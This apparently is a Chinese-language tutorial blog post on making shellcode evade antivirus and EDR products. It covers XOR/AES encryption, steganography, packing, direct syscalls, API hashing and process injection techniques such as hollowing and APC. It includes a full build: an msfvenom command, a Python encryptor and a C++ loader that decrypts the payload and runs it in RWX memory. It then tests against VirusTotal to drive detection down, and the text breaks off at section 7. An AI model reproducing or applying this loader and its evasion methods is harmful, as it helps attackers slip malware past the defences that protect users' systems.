Shellcode免殺技術(shù)實戰(zhàn):從靜態(tài)加密到動態(tài)系統(tǒng)調(diào)用的攻防對抗
1. 項目概述為什么Shellcode免殺是攻防對抗的焦點在安全攻防的世界里Shellcode免殺技術(shù)就像一場永不停歇的“貓鼠游戲”。我接觸過很多紅隊評估和滲透測試項目一個繞不開的坎就是如何讓我們的“工具”在目標(biāo)系統(tǒng)上悄無聲息地落地并執(zhí)行。這里的“工具”很多時候指的就是一段精心構(gòu)造的Shellcode。它可能負(fù)責(zé)彈回一個命令行加載一個功能更全的后滲透模塊或者執(zhí)行一個特定的內(nèi)存操作。但無論目的如何只要它被終端安全軟件EDR/AV的靜態(tài)或動態(tài)引擎識別出來行動就宣告失敗甚至可能暴露攻擊者的基礎(chǔ)設(shè)施。因此深入理解Shellcode免殺不僅僅是掌握幾種加密或編碼技巧更是對現(xiàn)代安全防護(hù)體系工作原理的一次逆向拆解。這篇文章我將結(jié)合自己踩過的坑和實戰(zhàn)經(jīng)驗從原理到實踐為你拆解Shellcode免殺的核心邏輯、主流技術(shù)以及對抗策略目標(biāo)是讓你不僅能做出一個“免殺”的樣本更能理解它為什么能“免殺”以及防守方會如何應(yīng)對。簡單來說Shellcode免殺技術(shù)就是通過一系列變換和偽裝手段改變Shellcode在磁盤靜態(tài)和內(nèi)存動態(tài)中的特征使其逃避安全產(chǎn)品的檢測。這背后涉及編譯器行為、操作系統(tǒng)加載機(jī)制、反病毒引擎的簽名庫、啟發(fā)式規(guī)則、行為沙箱等多個層面的知識。對于安全研究人員、滲透測試工程師和惡意軟件分析師而言這都是必須啃下的硬骨頭。接下來我會從設(shè)計思路、核心技術(shù)、實操編碼到對抗演進(jìn)一步步帶你深入這個領(lǐng)域。2. 核心原理拆解安全軟件如何檢測Shellcode在思考如何“免殺”之前我們必須先成為“獵人”理解“獵人”安全軟件的捕獵方式?,F(xiàn)代終端防護(hù)是一個多層防御體系對Shellcode的檢測主要發(fā)生在兩個階段靜態(tài)分析和動態(tài)分析。2.1 靜態(tài)特征檢測第一道關(guān)卡靜態(tài)分析發(fā)生在文件落地但尚未執(zhí)行時。安全軟件會像法醫(yī)一樣仔細(xì)檢查這個“可疑物品”的每一個細(xì)節(jié)。文件結(jié)構(gòu)與熵值分析一個正常的Windows可執(zhí)行文件PE文件有非常規(guī)整的結(jié)構(gòu)DOS頭、PE頭、節(jié)表、代碼節(jié)、數(shù)據(jù)節(jié)等。而一段純粹的、未經(jīng)處理的Shellcode通常只是一個二進(jìn)制的“數(shù)據(jù)塊”不具備合法的PE結(jié)構(gòu)。直接將其作為可執(zhí)行文件會被輕易識別。此外加密或高度壓縮的數(shù)據(jù)會導(dǎo)致文件某個區(qū)域的熵值隨機(jī)性度量異常高這本身就是一個強(qiáng)烈的可疑信號。很多安全軟件會計算文件各節(jié)的熵值過高熵值的節(jié)如.text代碼節(jié)會觸發(fā)警報。字節(jié)序列簽名Signature這是最傳統(tǒng)也是最基礎(chǔ)的檢測方式。安全廠商維護(hù)著一個龐大的特征庫里面記錄了已知惡意代碼的特定字節(jié)序列即“簽名”。如果你的Shellcode來自公開的滲透測試框架如Metasploit的windows/x64/meterpreter/reverse_tcp其開頭的幾個字節(jié)例如fc4883e4f0e8c0...很可能早已被收錄。靜態(tài)掃描時引擎只需進(jìn)行簡單的字節(jié)匹配就能發(fā)現(xiàn)你。字符串與API導(dǎo)入表引擎會提取文件中的所有可讀字符串和API函數(shù)名。如果發(fā)現(xiàn)了明顯的惡意痕跡如CreateRemoteThread、VirtualAllocEx、WriteProcessMemory這類常用于進(jìn)程注入的API名稱或者硬編碼的C2服務(wù)器地址、特殊的路徑字符串都會大大增加可疑度。注意靜態(tài)檢測追求的是速度和低誤報率。因此它的規(guī)則往往是精確匹配或簡單的模式匹配。我們的免殺思路首要目標(biāo)就是破壞這些靜態(tài)特征。2.2 動態(tài)行為檢測執(zhí)行時的“現(xiàn)場直播”如果文件僥幸通過了靜態(tài)檢查被用戶運(yùn)行那么動態(tài)行為分析的“大戲”就開場了。此時安全軟件會化身“監(jiān)工”在系統(tǒng)內(nèi)核層或通過沙箱監(jiān)控程序的一舉一動。API調(diào)用序列監(jiān)控這是行為檢測的核心。安全軟件并不關(guān)心你調(diào)用了哪個具體的API而是關(guān)心你調(diào)用了哪些API以及它們組合起來的“故事”是否可疑。一個經(jīng)典的Shellcode加載流程可能是VirtualAlloc申請可執(zhí)行內(nèi)存 -WriteProcessMemory或RtlMoveMemory寫入Shellcode -CreateThread或QueueUserAPC執(zhí)行內(nèi)存。這一套組合拳被稱為“內(nèi)存分配、寫入、執(zhí)行”鏈?zhǔn)墙^大多數(shù)EDR/AV都會重點監(jiān)控的高危行為序列。內(nèi)存屬性修改監(jiān)控正常程序的內(nèi)存頁屬性是相對固定的例如代碼段是PAGE_EXECUTE_READ數(shù)據(jù)段是PAGE_READWRITE。而Shellcode加載器常常需要先將內(nèi)存屬性改為PAGE_READWRITE以便寫入數(shù)據(jù)然后再改為PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE來執(zhí)行。這種對內(nèi)存頁屬性的“寫后執(zhí)行”修改操作是另一個極其敏感的行為指標(biāo)。子進(jìn)程創(chuàng)建與進(jìn)程注入如果Shellcode的目的是注入到其他進(jìn)程如explorer.exe,svchost.exe以實現(xiàn)持久化或規(guī)避那么CreateRemoteThread、NtMapViewOfSection等進(jìn)程注入技術(shù)相關(guān)的API調(diào)用以及異常的進(jìn)程父子關(guān)系都會被嚴(yán)密監(jiān)控。沙箱環(huán)境探測高級的惡意軟件會嘗試探測自己是否運(yùn)行在沙箱或分析環(huán)境中。例如檢查系統(tǒng)運(yùn)行時間沙箱往往剛啟動、檢查物理內(nèi)存大小沙箱可能分配較小、檢查是否存在分析工具進(jìn)程如procmon.exe,wireshark.exe、檢查鼠標(biāo)移動或用戶交互痕跡沙箱可能無交互。如果探測到沙箱環(huán)境惡意代碼會選擇不執(zhí)行惡意行為從而逃避動態(tài)分析。理解了這些檢測原理我們的免殺策略就有了明確的靶心在靜態(tài)層面混淆特征使其不像“已知的壞東西”在動態(tài)層面要么讓行為看起來“正常”要么延遲或規(guī)避敏感行為的觸發(fā)。3. 靜態(tài)免殺技術(shù)讓Shellcode“面目全非”靜態(tài)免殺是基礎(chǔ)目標(biāo)是讓原始的Shellcode在磁盤上看起來“人畜無害”。這里有幾個經(jīng)過實戰(zhàn)檢驗的核心方法。3.1 編碼與加密改變字節(jié)面貌這是最直接的方法目的是破壞基于字節(jié)序列的簽名匹配。異或XOR編碼這是最簡單、最常用的方法。選擇一個密鑰Key將Shellcode的每一個字節(jié)與這個密鑰進(jìn)行異或運(yùn)算。解密時再用同樣的密鑰異或一次即可還原。它的優(yōu)點是速度快、實現(xiàn)簡單。但弱點也很明顯如果密鑰是單字節(jié)加密后的數(shù)據(jù)可能仍存在統(tǒng)計特征此外xor指令本身也可能成為特征。// 簡單的異或加密示例C語言風(fēng)格 unsigned char shellcode[] {0xfc, 0x48, 0x83, ...}; unsigned char key 0xAA; for(int i 0; i sizeof(shellcode); i) { shellcode[i] shellcode[i] ^ key; // 加密 // 解密時再次執(zhí)行 shellcode[i] shellcode[i] ^ key; }AES/RC4等加密算法使用標(biāo)準(zhǔn)加密算法能產(chǎn)生熵值很高、近乎隨機(jī)的密文能有效規(guī)避簽名檢測。但引入加密算法意味著你需要在加載器中包含解密函數(shù)這可能會增加加載器本身的特征。通常我們會使用系統(tǒng)自帶的加密API如Windows的Cryptography API: Next Generation (CNG)或引入小型、混淆過的解密代碼。自定義編碼算法為了進(jìn)一步規(guī)避對標(biāo)準(zhǔn)加密算法特征的檢測可以設(shè)計簡單的自定義編碼如字節(jié)順序反轉(zhuǎn)、加減固定值、基于位置的變換等。核心思想是增加分析的復(fù)雜度。實操心得不要使用固定的、簡單的異或密鑰。可以采用多字節(jié)循環(huán)密鑰或者從文件某個偏移量或環(huán)境變量中動態(tài)計算密鑰。我曾在一個項目中將密鑰隱藏在PNG圖片文件的CRC校驗值里加載器運(yùn)行時讀取圖片并計算CRC值作為密鑰效果很好。3.2 分離與隱寫藏匿于無形與其改變Shellcode的樣子不如把它藏起來讓掃描引擎根本找不到它。資源文件分離將加密后的Shellcode作為資源Resource捆綁在正常的PE文件如圖片查看器、計算器中。在運(yùn)行時通過FindResource、LoadResource、LockResource等API從自身資源節(jié)中讀取并解密。這樣靜態(tài)掃描時Shellcode不在主要的.text或.data節(jié)中而是藏在.rsrc節(jié)里規(guī)避了針對數(shù)據(jù)節(jié)的熵值檢查。網(wǎng)絡(luò)下載Staging加載器本身不包含任何Shellcode。它只是一個“下載器”運(yùn)行時從遠(yuǎn)程服務(wù)器C2下載加密的Shellcode到內(nèi)存中然后解密執(zhí)行。這徹底避免了本地文件的靜態(tài)特征。但缺點是增加了網(wǎng)絡(luò)交互可能被網(wǎng)絡(luò)流量檢測設(shè)備發(fā)現(xiàn)。隱寫術(shù)Steganography將Shellcode隱藏在一張普通的圖片、一個文檔甚至一段音頻文件的二進(jìn)制數(shù)據(jù)中。例如將加密后的Shellcode寫入PNG圖片的IDAT數(shù)據(jù)塊末尾不影響圖片正常顯示。加載器需要解析文件格式精準(zhǔn)定位并提取隱藏的數(shù)據(jù)。這種方法對靜態(tài)掃描的繞過效果極佳因為文件看起來完全正常。3.3 格式偽裝與殼保護(hù)PE文件格式偽裝將Shellcode加載器本身偽裝成一個合法的、簽名的應(yīng)用程序?;蛘邩?gòu)建一個具備完全合法PE頭、節(jié)表但節(jié)區(qū)內(nèi)容被加密或替換的“空殼”PE文件。靜態(tài)分析時文件結(jié)構(gòu)完美熵值正常能繞過初步檢查。加殼Packing使用商業(yè)或自定義的加殼工具如UPX但UPX已被廣泛識別對加載器進(jìn)行壓縮和加密。加殼后的程序原始代碼被壓縮加密入口點OEP被替換為殼的引導(dǎo)代碼。殼負(fù)責(zé)在內(nèi)存中解密并跳轉(zhuǎn)到原始程序。這增加了逆向分析和靜態(tài)特征提取的難度。但需要注意很多加殼工具本身就有很強(qiáng)的特征會被標(biāo)記。因此使用小眾殼或自定義殼是關(guān)鍵。代碼混淆Obfuscation對加載器自身的代碼進(jìn)行混淆如插入垃圾指令NOP或無效運(yùn)算、控制流扁平化、字符串加密等。這雖然主要增加的是分析難度但混淆后編譯器生成的機(jī)器碼也會發(fā)生變化有時也能意外地繞過一些基于簡單模式的靜態(tài)簽名。4. 動態(tài)免殺技術(shù)讓行為“看起來很正常”通過了靜態(tài)檢查只是拿到了入場券。真正的挑戰(zhàn)是在運(yùn)行時如何“低調(diào)行事”。動態(tài)免殺的核心是API調(diào)用鏈的偽裝與拆分。4.1 直接系統(tǒng)調(diào)用Syscall這是目前對抗EDR/AV用戶態(tài)Hook最主流、最有效的方法。EDR通常通過Hookkernel32.dll或ntdll.dll中的關(guān)鍵API如NtAllocateVirtualMemory,NtCreateThreadEx來監(jiān)控行為。直接系統(tǒng)調(diào)用繞過這些用戶態(tài)的Hook直接通過syscall指令與內(nèi)核交互。原理每個系統(tǒng)調(diào)用都有一個唯一的系統(tǒng)調(diào)用號Syscall Number。在Windows中ntdll.dll中的函數(shù)如NtAllocateVirtualMemory本質(zhì)就是封裝了syscall指令的存根Stub。我們可以直接復(fù)制這些存根中的匯編代碼主要是系統(tǒng)調(diào)用號和syscall指令或者動態(tài)地從ntdll.dll中讀取這些信息在自己的代碼里發(fā)起調(diào)用。; x64 系統(tǒng)下 NtAllocateVirtualMemory 系統(tǒng)調(diào)用的簡化示例概念性 mov r10, rcx ; 第一個參數(shù)移到 r10 (Windows x64調(diào)用約定) mov eax, 18h ; 系統(tǒng)調(diào)用號 (NtAllocateVirtualMemory)這個值隨Windows版本變化 syscall ret實現(xiàn)關(guān)鍵系統(tǒng)調(diào)用號獲取系統(tǒng)調(diào)用號隨Windows版本甚至每次更新而變化。不能硬編碼。常見方法是從本機(jī)ntdll.dll的內(nèi)存中動態(tài)解析或者使用經(jīng)過哈希處理的函數(shù)名在PEB中遍歷查找。參數(shù)準(zhǔn)備必須嚴(yán)格遵守x64或x86的系統(tǒng)調(diào)用約定正確設(shè)置寄存器。返回處理系統(tǒng)調(diào)用返回后狀態(tài)在RAX/EAX寄存器中需要正確處理。注意事項直接使用syscall雖然強(qiáng)大但代碼與系統(tǒng)版本強(qiáng)相關(guān)兼容性需要仔細(xì)處理。此外一些高級EDR已經(jīng)開始在內(nèi)核層監(jiān)控syscall指令的調(diào)用來源如果發(fā)現(xiàn)來自非ntdll.dll的內(nèi)存區(qū)域也會產(chǎn)生告警。因此更進(jìn)階的做法是結(jié)合“返回地址欺騙”Return Address Spoofing等技術(shù)讓調(diào)用棧看起來像是從ntdll.dll發(fā)起的。4.2 API動態(tài)解析與調(diào)用為了避免在導(dǎo)入表IAT中留下敏感的API函數(shù)名我們可以在運(yùn)行時動態(tài)獲取API地址。經(jīng)典方法GetProcAddress和LoadLibrary這是基礎(chǔ)方法。但GetProcAddress和LoadLibrary本身也可能被監(jiān)控。我們可以通過解析PEB進(jìn)程環(huán)境塊和PE文件結(jié)構(gòu)手動遍歷kernel32.dll的導(dǎo)出表來查找GetProcAddress的地址從而實現(xiàn)“無導(dǎo)入表”的API解析。哈希處理在代碼中存儲API函數(shù)名的哈希值如ROR13哈希而不是明文字符串。在動態(tài)解析時計算DLL導(dǎo)出函數(shù)名的哈希并與我們存儲的哈希進(jìn)行比較。這可以有效避免字符串掃描。// 計算函數(shù)名哈希的示例 DWORD HashStringROR13(const char* str) { DWORD hash 0; while (*str) { hash (hash 13) | (hash (32 - 13)); // 循環(huán)右移13位 hash *str; str; } return hash; } // 存儲的哈希值例如 HashStringROR13(VirtualAlloc)4.3 進(jìn)程注入技術(shù)的“低調(diào)”變種如果Shellcode需要注入到其他進(jìn)程傳統(tǒng)的CreateRemoteThread已經(jīng)如同在監(jiān)控攝像頭下大聲喊叫。我們需要更隱蔽的方法。進(jìn)程鏤空Process Hollowing創(chuàng)建一個合法的、處于掛起狀態(tài)的進(jìn)程如svchost.exe將其主線程掛起然后“挖空”其內(nèi)存中的原始鏡像替換為我們的惡意代碼最后恢復(fù)線程執(zhí)行。從外部看進(jìn)程名是合法的但執(zhí)行的是我們的代碼。防守方會檢查進(jìn)程內(nèi)存與磁盤文件的差異。APC注入Asynchronous Procedure Call將Shellcode注入到目標(biāo)線程的APC隊列中。當(dāng)線程進(jìn)入可報警狀態(tài)時Shellcode會被執(zhí)行。特別是“早期鳥APC注入”在線程啟動前就插入APC可以繞過一些基于線程創(chuàng)建的檢測。但APC注入需要目標(biāo)線程進(jìn)入告警狀態(tài)不確定性較高。線程劫持Thread Hijacking掛起目標(biāo)進(jìn)程中的一個現(xiàn)有線程修改其上下文主要是指令指針RIP/EIP和棧使其指向我們的Shellcode然后恢復(fù)線程。這種方法不創(chuàng)建新線程行為更隱蔽。難點在于需要穩(wěn)定地保存和恢復(fù)線程原始上下文以及處理線程棧。映射視圖注入Section Mapping利用Windows的節(jié)區(qū)對象Section Object。首先創(chuàng)建一個包含Shellcode的節(jié)區(qū)對象然后將這個節(jié)區(qū)映射到目標(biāo)進(jìn)程的地址空間。最后通過APC或線程劫持等方式讓目標(biāo)進(jìn)程的線程去執(zhí)行該映射區(qū)域。這種方法文件操作痕跡少相對隱蔽。4.4 內(nèi)存操作規(guī)避技巧內(nèi)存屬性“先執(zhí)行后寫”傳統(tǒng)的“申請可寫內(nèi)存-寫入-改為可執(zhí)行”鏈條太經(jīng)典??梢試L試?yán)靡恍┖戏ǖ?、本身就具有可?zhí)行權(quán)限的內(nèi)存區(qū)域。例如** .NET JIT內(nèi)存**.NET運(yùn)行時生成的JIT編譯代碼所在的內(nèi)存頁默認(rèn)是可執(zhí)行的??梢試L試與.NET程序交互或利用其機(jī)制。內(nèi)存洞Memory Holes在進(jìn)程地址空間中尋找已經(jīng)存在且具有可執(zhí)行權(quán)限的閑置內(nèi)存區(qū)域例如某些DLL加載后留下的間隙。但這不穩(wěn)定且難以移植。濫用合法可執(zhí)行模塊修改一個已加載DLL中的廢棄代碼區(qū)域如對齊填充區(qū)來存放Shellcode。這需要精確的逆向分析。堆棧內(nèi)存執(zhí)行雖然數(shù)據(jù)執(zhí)行保護(hù)DEP默認(rèn)禁止棧內(nèi)存執(zhí)行但可以通過VirtualProtect臨時開啟棧的PAGE_EXECUTE_READWRITE權(quán)限或者利用某些特定情況如舊版軟件、特定編譯選項下DEP未生效的環(huán)境。這不是一個通用的好方法。圖像文件執(zhí)行選項IFEO調(diào)試器注入這是一個非常古老的技巧通過修改注冊表將一個調(diào)試器設(shè)置為目標(biāo)程序的“預(yù)調(diào)試器”。當(dāng)目標(biāo)程序啟動時調(diào)試器會先啟動并將代碼注入到目標(biāo)進(jìn)程中。這種方法在行為上看起來像一個合法的調(diào)試會話但注冊表修改動作本身會被監(jiān)控。5. 完整實戰(zhàn)構(gòu)建一個多層免殺的Shellcode加載器理論說了這么多我們動手實現(xiàn)一個集成了部分上述技術(shù)的簡易加載器。這個加載器將使用異或加密、資源文件分離、直接系統(tǒng)調(diào)用和動態(tài)API解析。5.1 第一步生成并加密Shellcode我們使用MSFVenom生成一個原始的Shellcode并立即用Python腳本進(jìn)行加密。# 生成原始Shellcode (例如一個簡單的MessageBox) msfvenom -p windows/x64/messagebox TEXTHello from Shellcode -f raw -o raw_shellcode.bin # 注意實戰(zhàn)中應(yīng)使用反向shell等此處用MessageBox便于觀察效果。編寫一個Python加密腳本encrypt_sc.pyimport sys def xor_encrypt(data, key): # 使用多字節(jié)循環(huán)密鑰 key_bytes key.encode(utf-8) encrypted bytearray() for i in range(len(data)): encrypted.append(data[i] ^ key_bytes[i % len(key_bytes)]) return bytes(encrypted) if __name__ __main__: if len(sys.argv) ! 3: print(fUsage: {sys.argv[0]} input_file output_file) sys.exit(1) with open(sys.argv[1], rb) as f: raw_sc f.read() # 使用一個復(fù)雜的密鑰可以是從某個文件計算出的哈希值 encryption_key MyComplexStaticKey123!# encrypted_sc xor_encrypt(raw_sc, encryption_key) with open(sys.argv[2], wb) as f: f.write(encrypted_sc) print(f[] Shellcode encrypted. Original size: {len(raw_sc)}, Encrypted size: {len(encrypted_sc)}) # 計算并打印加密后數(shù)據(jù)的熵值可選需要安裝math庫 # 高熵值提示我們需要在加載器中妥善隱藏它。運(yùn)行python encrypt_sc.py raw_shellcode.bin encrypted_sc.bin。5.2 第二步將加密Shellcode嵌入資源文件我們使用Visual Studio創(chuàng)建一個簡單的C控制臺項目或者直接使用MinGW和資源編譯器。創(chuàng)建資源文件shellcode.rc:// shellcode.rc IDR_ENCRYPTED_SC RCDATA encrypted_sc.bin編譯資源文件(使用rc.exe或windres):rc.exe shellcode.rc # 或使用 MinGW windres shellcode.rc -o shellcode.res這會生成shellcode.res文件。5.3 第三步編寫加載器代碼關(guān)鍵部分以下是加載器loader.cpp的核心代碼框架集成了動態(tài)解析和直接系統(tǒng)調(diào)用思路。#include windows.h #include stdio.h // 1. 動態(tài)獲取函數(shù)地址的輔助函數(shù)使用哈希 typedef HMODULE (WINAPI *pLoadLibraryA)(LPCSTR); typedef FARPROC (WINAPI *pGetProcAddress)(HMODULE, LPCSTR); // 一個簡單的ROR13哈希函數(shù) DWORD HashStringROR13(const char* str) { DWORD hash 0; while (*str) { hash (hash 13) | (hash (32 - 13)); hash *str; str; } return hash; } // 通過PEB遍歷獲取Kernel32基址然后解析GetProcAddress地址 // 此處省略詳細(xì)的PEB遍歷代碼這是一個獨(dú)立且復(fù)雜的技術(shù)點。 // 假設(shè)我們通過某種方式已經(jīng)獲得了 GetProcAddress 的地址存儲在 fnGetProcAddress 中。 pGetProcAddress fnGetProcAddress ...; // 通過PEB解析得到 // 2. 解密函數(shù) (與Python腳本對應(yīng)的XOR解密) void XorDecrypt(BYTE* data, SIZE_T size, const char* key) { SIZE_T keyLen strlen(key); for (SIZE_T i 0; i size; i) { data[i] ^ key[i % keyLen]; } } // 3. 直接系統(tǒng)調(diào)用相關(guān)結(jié)構(gòu)定義以NtAllocateVirtualMemory為例 // 系統(tǒng)調(diào)用號需要動態(tài)獲取這里以Win10 2004的某個版本為例僅作演示不可硬編碼。 #define SYS_NtAllocateVirtualMemory 0x18 typedef struct _SYSCALL_ENTRY { DWORD hash; DWORD syscallNumber; } SYSCALL_ENTRY; // 一個簡陋的系統(tǒng)調(diào)用執(zhí)行函數(shù)內(nèi)聯(lián)匯編x64 // 實際項目中應(yīng)從ntdll.dll內(nèi)存中動態(tài)解析系統(tǒng)調(diào)用號并組裝調(diào)用門。 // 此處僅為概念演示。 __declspec(naked) NTSTATUS SysNtAllocateVirtualMemory( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect) { __asm { mov r10, rcx mov eax, SYS_NtAllocateVirtualMemory // 動態(tài)獲取的調(diào)用號應(yīng)替換這里 syscall ret } } // 4. 主函數(shù) int main() { // 動態(tài)獲取必要的API假設(shè)我們已經(jīng)有了fnGetProcAddress HMODULE hKernel32 LoadLibraryA(kernel32.dll); // 簡單起見這里直接用LoadLibraryA // 更隱蔽的做法是使用GetModuleHandle或PEB遍歷獲取kernel32基址 if (!hKernel32) return -1; // 使用動態(tài)解析的GetProcAddress或我們自己的實現(xiàn)來獲取其他函數(shù) auto fnFindResource (decltype(FindResourceA)*)fnGetProcAddress(hKernel32, FindResourceA); auto fnLoadResource (decltype(LoadResource)*)fnGetProcAddress(hKernel32, LoadResource); auto fnLockResource (decltype(LockResource)*)fnGetProcAddress(hKernel32, LockResource); auto fnSizeofResource (decltype(SizeofResource)*)fnGetProcAddress(hKernel32, SizeofResource); // ... 獲取其他需要的API // 從資源中加載加密的Shellcode HRSRC hRes fnFindResource(NULL, MAKEINTRESOURCE(IDR_ENCRYPTED_SC), RT_RCDATA); if (!hRes) return -1; HGLOBAL hResData fnLoadResource(NULL, hRes); if (!hResData) return -1; BYTE* pEncryptedData (BYTE*)fnLockResource(hResData); DWORD dwSize fnSizeofResource(NULL, hRes); if (!pEncryptedData || dwSize 0) return -1; // 在內(nèi)存中解密Shellcode // 注意為了演示我們直接在原資源內(nèi)存解密實際應(yīng)復(fù)制到新緩沖區(qū)。 // 因為資源內(nèi)存默認(rèn)是只讀的需要先改為可寫。 DWORD oldProtect; VirtualProtect(pEncryptedData, dwSize, PAGE_READWRITE, oldProtect); XorDecrypt(pEncryptedData, dwSize, MyComplexStaticKey123!#); VirtualProtect(pEncryptedData, dwSize, oldProtect, oldProtect); // 申請可執(zhí)行內(nèi)存 (嘗試使用更低調(diào)的方式) // 方式A傳統(tǒng)API容易被Hook // void* execMem VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // 方式B使用直接系統(tǒng)調(diào)用假設(shè)我們已經(jīng)實現(xiàn)了 void* execMem NULL; SIZE_T regionSize dwSize; NTSTATUS status SysNtAllocateVirtualMemory( GetCurrentProcess(), execMem, 0, ?ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (status ! 0) { // NTSTATUS成功值為0 // 系統(tǒng)調(diào)用失敗回退到傳統(tǒng)API實戰(zhàn)中應(yīng)有更優(yōu)雅的降級策略 execMem VirtualAlloc(NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); } if (!execMem) return -1; // 復(fù)制解密后的Shellcode到可執(zhí)行內(nèi)存 // 這里可以使用RtlMoveMemory或其等價物 memcpy(execMem, pEncryptedData, dwSize); // 創(chuàng)建線程執(zhí)行Shellcode // 同樣這里可以使用CreateThread也可以嘗試更隱蔽的線程創(chuàng)建方式如CreateRemoteThread注入自身無意義或APC。 HANDLE hThread CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)execMem, NULL, 0, NULL); if (hThread) { WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); } // 清理可選 VirtualFree(execMem, 0, MEM_RELEASE); return 0; }5.4 第四步編譯與測試編譯將loader.cpp、shellcode.res以及必要的資源頭文件一起編譯。cl.exe /nologo /O2 /MT loader.cpp shellcode.res /link /OUT:loader.exe確保使用靜態(tài)鏈接/MT以減少運(yùn)行時依賴并且進(jìn)行發(fā)布優(yōu)化/O2。測試首先在無安全軟件的虛擬機(jī)中運(yùn)行確保Shellcode能正常彈出MessageBox。然后上傳到 VirusTotal 或使用本地安裝的多個殺毒軟件進(jìn)行掃描。記錄檢測率。分析被哪些引擎檢測到嘗試調(diào)整加密算法、密鑰、資源類型、或加入更多的代碼混淆來降低檢測率。實操心得這是一個“玩具級”的示例。真正的實戰(zhàn)加載器需要考慮更多細(xì)節(jié)可靠的PEB遍歷獲取API、健壯的系統(tǒng)調(diào)用號動態(tài)解析、完善的錯誤處理、對資源內(nèi)存的復(fù)制而非原地解密、以及最終的內(nèi)存權(quán)限清理將內(nèi)存從PAGE_EXECUTE_READWRITE改回PAGE_READONLY以規(guī)避某些內(nèi)存掃描。此外將加載器本身進(jìn)行加殼或混淆是必要的下一步。6. 對抗策略演進(jìn)防守方的視角與應(yīng)對免殺技術(shù)不是一勞永逸的。防守方EDR/AV廠商也在不斷進(jìn)化。理解他們的策略才能預(yù)判和調(diào)整我們的技術(shù)。6.1 防守方的檢測升級靜態(tài)檢測的智能化模糊哈希Fuzzy Hashing如ssdeep。即使文件被輕微修改如插入一些NOP也能計算出相似的哈希值用于關(guān)聯(lián)同源惡意軟件。機(jī)器學(xué)習(xí)/深度學(xué)習(xí)模型訓(xùn)練模型識別惡意文件的特征如字節(jié)分布、API序列模式、控制流圖結(jié)構(gòu)對變種和未知威脅有更好的檢出率。對抗方法包括生成對抗樣本輕微擾動欺騙模型或使用完全不同的代碼結(jié)構(gòu)。結(jié)構(gòu)語義分析不僅看字節(jié)還分析程序的邏輯結(jié)構(gòu)。例如識別出“解密循環(huán)內(nèi)存分配執(zhí)行”這一模式即使具體指令變了模式本身就可疑。動態(tài)檢測的深度化內(nèi)核回調(diào)Kernel CallbacksEDR驅(qū)動注冊內(nèi)核回調(diào)監(jiān)控進(jìn)程、線程、鏡像加載、注冊表等核心事件比用戶態(tài)Hook更底層、更難繞過。ETWEvent Tracing for Windows微軟提供的強(qiáng)大事件追蹤框架。EDR可以訂閱大量的系統(tǒng)事件如進(jìn)程創(chuàng)建、文件操作、網(wǎng)絡(luò)連接進(jìn)行實時分析。繞過ETW需要更底層的操作如嘗試禁用ETW提供程序或篡改ETW事件數(shù)據(jù)。內(nèi)存掃描與YARA規(guī)則EDR會定期或觸發(fā)式地掃描進(jìn)程內(nèi)存使用YARA規(guī)則匹配內(nèi)存中的Shellcode特征即使已解密。應(yīng)對方法是僅在執(zhí)行前一刻解密或者使用“反射式DLL注入”等技術(shù)讓代碼始終以“數(shù)據(jù)”形態(tài)存在直到執(zhí)行瞬間才被解析。行為時序分析與因果關(guān)系鏈不僅看單個API還分析一系列事件在時間上的關(guān)聯(lián)性構(gòu)建攻擊鏈故事。例如一個進(jìn)程剛網(wǎng)絡(luò)下載了數(shù)據(jù)緊接著就發(fā)生了內(nèi)存屬性修改和線程創(chuàng)建這個因果關(guān)系鏈的得分會很高。6.2 紅隊的應(yīng)對思路面對不斷升級的防御紅隊和滲透測試者的思路也需要從“單點技術(shù)繞過”轉(zhuǎn)向“體系化對抗”。技術(shù)層面持續(xù)迭代沒有永遠(yuǎn)免殺的技術(shù)。需要持續(xù)關(guān)注EDR的更新日志、研究論文并不斷更新自己的工具鏈?;旌鲜褂枚喾N技術(shù)不要依賴單一技術(shù)。結(jié)合靜態(tài)加密、動態(tài)解析、直接系統(tǒng)調(diào)用、進(jìn)程注入偽裝等多種手段增加分析復(fù)雜度。利用合法工具與“活”在土地上越來越多地使用操作系統(tǒng)自帶的管理工具如PsExec、WMI、PowerShell、Cobalt Strike的execute-assembly或簽名的第三方軟件如TeamViewer、AnyDesk來執(zhí)行操作。這種“Living-off-the-Land”的策略使得惡意行為隱藏在大量合法的管理流量中難以區(qū)分。研究底層與未文檔化接口深入研究Windows內(nèi)核、硬件虛擬化如HVCI、安全子系統(tǒng)如Credential Guard的細(xì)節(jié)尋找官方文檔未提及的接口或邏輯漏洞。但這需要極高的技術(shù)門檻和風(fēng)險。戰(zhàn)術(shù)層面?zhèn)刹榕c規(guī)避在行動前充分偵查目標(biāo)環(huán)境的安全產(chǎn)品針對性地選擇或定制載荷。避免使用在目標(biāo)行業(yè)已知被重點監(jiān)控的技術(shù)。分散與混淆將功能拆解使用多個階段、多個組件通過不同的渠道投遞和執(zhí)行降低單個組件的威脅分?jǐn)?shù)。模擬正常行為讓惡意代碼的行為節(jié)奏模仿正常軟件。例如在解密和執(zhí)行前加入隨機(jī)延遲模擬用戶思考或網(wǎng)絡(luò)延遲申請內(nèi)存的大小和模式符合正常軟件行為。7. 